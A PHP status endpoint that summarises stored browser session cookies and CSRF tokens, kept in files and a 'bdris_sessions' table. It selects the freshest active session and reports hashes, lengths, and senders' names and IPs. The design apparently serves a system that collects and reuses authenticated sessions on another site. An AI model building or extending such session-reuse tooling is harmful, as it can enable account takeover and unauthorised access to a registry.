<?php
header('Content-Type: application/json; charset=utf-8');

if (session_status() !== PHP_SESSION_ACTIVE && !headers_sent()) {
    @session_start();
}

require_once dirname(__DIR__) . '/db_connect.php';

function out(mixed $data, int $code = 200): never {
    http_response_code((int)$code);
    echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function safeStr(mixed $v): string {
    if ($v === null) return '';
    if (is_bool($v)) return $v ? '1' : '0';
    if (is_scalar($v)) return trim((string)$v);
    return '';
}

function hasSessionCookie(string $cookieString): bool {
    $cookieString = (string)$cookieString;
    if ($cookieString === '') return false;
    return (bool)preg_match('/(?:^|;\\s*)SESSION=/', $cookieString);
}

function cookieHasCsrfToken(string $cookieString): bool {
    $cookieString = trim((string)$cookieString);
    if ($cookieString === '') return false;
    $lcs = strtolower($cookieString);
    if (
        strpos($lcs, 'xsrf-token=') === false &&
        strpos($lcs, 'csrf-token=') === false &&
        strpos($lcs, 'x-xsrf-token=') === false &&
        strpos($lcs, 'csrf_token=') === false &&
        strpos($lcs, 'csrftoken=') === false &&
        strpos($lcs, '__requestverificationtoken=') === false &&
        strpos($lcs, 'requestverificationtoken=') === false
    ) return false;

    foreach (explode(';', $cookieString) as $p0) {
        $p = trim((string)$p0);
        if ($p === '') continue;
        $eq = strpos($p, '=');
        if ($eq === false || $eq <= 0) continue;
        $k = strtolower(trim(substr($p, 0, $eq)));
        if (
            $k === 'xsrf-token' ||
            $k === 'csrf-token' ||
            $k === 'x-xsrf-token' ||
            $k === 'csrf_token' ||
            $k === 'csrftoken' ||
            $k === '__requestverificationtoken' ||
            $k === 'requestverificationtoken'
        ) {
            $v = trim(substr($p, $eq + 1));
            if ($v !== '') return true;
        }
    }
    return false;
}

function shortHash(string $s): string {
    if ($s === '') return '';
    return substr(sha1($s), 0, 10);
}

$now = time();
$cookiesDir = dirname(__DIR__) . '/cookies';
$latestFile = $cookiesDir . '/cookie_data_latest.json';

$latest = [
    'exists' => is_file($latestFile),
    'path' => 'cookies/cookie_data_latest.json',
    'mtime' => is_file($latestFile) ? (int)@filemtime($latestFile) : 0,
    'ageSec' => is_file($latestFile) ? max(0, $now - (int)@filemtime($latestFile)) : null,
];

$latestPayload = null;
if ($latest['exists']) {
    $raw = (string)@file_get_contents($latestFile);
    $j = json_decode($raw, true);
    if (json_last_error() === JSON_ERROR_NONE && is_array($j)) {
        $latestPayload = $j;
    }
}

if (is_array($latestPayload)) {
    $cookieString = safeStr($latestPayload['cookie_string_all'] ?? ($latestPayload['cookie_string_main'] ?? ($latestPayload['cookie_string'] ?? '')));
    $csrfToken = safeStr($latestPayload['csrf_token'] ?? '');
    $csrfHeader = safeStr($latestPayload['csrf_header'] ?? '');
    $ua = safeStr($latestPayload['user_agent'] ?? '');
    $latest['profile'] = safeStr($latestPayload['profile'] ?? '');
    $latest['senderName'] = safeStr($latestPayload['sender_name'] ?? ($latestPayload['senderName'] ?? ''));
    $latest['senderIp'] = safeStr($latestPayload['sender_ip'] ?? ($latestPayload['senderIp'] ?? ''));
    $latest['senderTs'] = (int)($latestPayload['sender_ts'] ?? ($latestPayload['senderTs'] ?? 0));
    $latest['senderTzOffset'] = (int)($latestPayload['sender_tz_offset'] ?? ($latestPayload['senderTzOffset'] ?? 0));
    $latest['updatedAt'] = (int)($latestPayload['updated_at'] ?? 0);
    $latest['status'] = safeStr($latestPayload['last_status'] ?? ($latestPayload['lastStatus'] ?? ''));
    $latest['cookieLen'] = strlen($cookieString);
    $latest['cookieHasSession'] = hasSessionCookie($cookieString);
    $latest['cookieHash'] = shortHash($cookieString);
    $latest['csrfPresent'] = ($csrfToken !== '') || cookieHasCsrfToken($cookieString);
    $latest['csrfHeader'] = $csrfHeader;
    $latest['uaHash'] = shortHash($ua);
}

$best = [
    'db' => null,
    'file' => null,
];

$db = [
    'enabled' => isset($pdo) && $pdo ? true : false,
    'latest' => [],
];

if ($db['enabled']) {
    try {
        $stmtBest = $pdo->query("SELECT profile, sender_name, sender_ip, sender_ts, sender_tz_offset, updated_at, last_status,
            CHAR_LENGTH(cookie_string) AS cookie_len,
            (CASE WHEN csrf_token IS NULL OR csrf_token = '' THEN 0 ELSE 1 END) AS csrf_present
            FROM bdris_sessions
            WHERE last_status = 'active' AND csrf_token IS NOT NULL AND csrf_token != ''
            ORDER BY updated_at DESC, id DESC
            LIMIT 1");
        $rBest = $stmtBest ? $stmtBest->fetch(PDO::FETCH_ASSOC) : null;
        if (is_array($rBest)) {
            $best['db'] = [
                'profile' => safeStr($rBest['profile'] ?? ''),
                'senderName' => safeStr($rBest['sender_name'] ?? ''),
                'senderIp' => safeStr($rBest['sender_ip'] ?? ''),
                'senderTs' => (int)($rBest['sender_ts'] ?? 0),
                'senderTzOffset' => (int)($rBest['sender_tz_offset'] ?? 0),
                'updatedAt' => (int)($rBest['updated_at'] ?? 0),
                'ageSec' => isset($rBest['updated_at']) ? max(0, $now - (int)$rBest['updated_at']) : null,
                'cookieLen' => (int)($rBest['cookie_len'] ?? 0),
                'csrfPresent' => ((int)($rBest['csrf_present'] ?? 0)) === 1,
                'status' => safeStr($rBest['last_status'] ?? ''),
            ];
        }

        $stmt = $pdo->query("SELECT profile, sender_name, sender_ip, sender_ts, sender_tz_offset, updated_at, last_status,
            CHAR_LENGTH(cookie_string) AS cookie_len,
            (CASE WHEN csrf_token IS NULL OR csrf_token = '' THEN 0 ELSE 1 END) AS csrf_present
            FROM bdris_sessions
            ORDER BY updated_at DESC, id DESC
            LIMIT 10");
        $rows = $stmt ? $stmt->fetchAll(PDO::FETCH_ASSOC) : [];
        if (is_array($rows)) {
            foreach ($rows as $r) {
                if (!is_array($r)) continue;
                $db['latest'][] = [
                    'profile' => safeStr($r['profile'] ?? ''),
                    'senderName' => safeStr($r['sender_name'] ?? ''),
                    'senderIp' => safeStr($r['sender_ip'] ?? ''),
                    'senderTs' => (int)($r['sender_ts'] ?? 0),
                    'senderTzOffset' => (int)($r['sender_tz_offset'] ?? 0),
                    'updatedAt' => (int)($r['updated_at'] ?? 0),
                    'ageSec' => isset($r['updated_at']) ? max(0, $now - (int)$r['updated_at']) : null,
                    'cookieLen' => (int)($r['cookie_len'] ?? 0),
                    'csrfPresent' => ((int)($r['csrf_present'] ?? 0)) === 1,
                    'status' => safeStr($r['last_status'] ?? ''),
                ];
            }
        }
    } catch (Throwable $e) {
        $db['enabled'] = false;
        $db['error'] = 'db_query_failed';
    }
}

$bestFile = null;
if (is_dir($cookiesDir)) {
    $files = glob($cookiesDir . '/cookie_data_*.json') ?: [];
    if ($files) {
        usort($files, static function($a, $b) {
            return filemtime($b) <=> filemtime($a);
        });
        foreach ($files as $f) {
            $raw = (string)@file_get_contents($f);
            $j = json_decode($raw, true);
            if (json_last_error() !== JSON_ERROR_NONE || !is_array($j)) continue;
            $cookie = safeStr($j['cookie_string_all'] ?? ($j['cookie_string_main'] ?? ($j['cookie_string'] ?? '')));
            if ($cookie === '' || !hasSessionCookie($cookie)) continue;
            $ls = strtolower(trim(safeStr($j['last_status'] ?? '')));
            if ($ls === 'blocked' || $ls === 'inactive' || $ls === 'expired') continue;
            $hasCsrf = safeStr($j['csrf_token'] ?? '') !== '' || cookieHasCsrfToken($cookie);
            if (!$hasCsrf) continue;
            $bestFile = [
                'profile' => safeStr($j['profile'] ?? $j['browser_name'] ?? ''),
                'senderName' => safeStr($j['sender_name'] ?? ''),
                'senderIp' => safeStr($j['sender_ip'] ?? ''),
                'updatedAt' => (int)($j['updated_at'] ?? 0),
                'ageSec' => isset($j['updated_at']) ? max(0, $now - (int)($j['updated_at'] ?? 0)) : null,
                'cookieLen' => strlen($cookie),
                'csrfPresent' => $hasCsrf,
                'status' => safeStr($j['last_status'] ?? ''),
                'file' => 'cookies/' . basename((string)$f),
                'mtime' => (int)@filemtime($f),
            ];
            break;
        }
    }
}
$best['file'] = $bestFile;

out([
    'ok' => true,
    'serverTime' => $now,
    'latestFile' => $latest,
    'best' => $best,
    'db' => $db,
]);
